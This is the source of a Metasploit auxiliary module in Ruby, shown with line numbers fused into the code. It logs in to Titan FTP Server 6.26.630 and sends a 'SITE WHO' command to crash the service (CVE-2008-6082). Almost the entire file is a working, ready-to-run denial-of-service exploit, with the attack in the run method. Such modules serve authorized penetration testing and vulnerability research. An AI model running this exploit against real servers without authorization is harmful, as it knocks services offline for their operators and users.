Path: blob/master/modules/auxiliary/dos/windows/ftp/titan626_site.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Ftp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Titan FTP Server 6.26.630 SITE WHO DoS',14'Description' => %q{15The Titan FTP server v6.26 build 630 can be DoS'd by16issuing "SITE WHO". You need a valid login so you17can send this command.18},19'Author' => 'kris katterjohn',20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2008-6082'],23[ 'OSVDB', '49177'],24[ 'EDB', '6753']25],26'DisclosureDate' => '2008-10-14',27'Notes' => {28'Stability' => [CRASH_SERVICE_DOWN],29'SideEffects' => [],30'Reliability' => []31}32)33)3435register_options([36OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ], fallbacks: ['USERNAME']),37OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ], fallbacks: ['PASSWORD'])38])39end4041def run42return unless connect_login4344print_status('Sending command...')45raw_send("SITE WHO\r\n")46select(nil, nil, nil, 1)47disconnect48end49end505152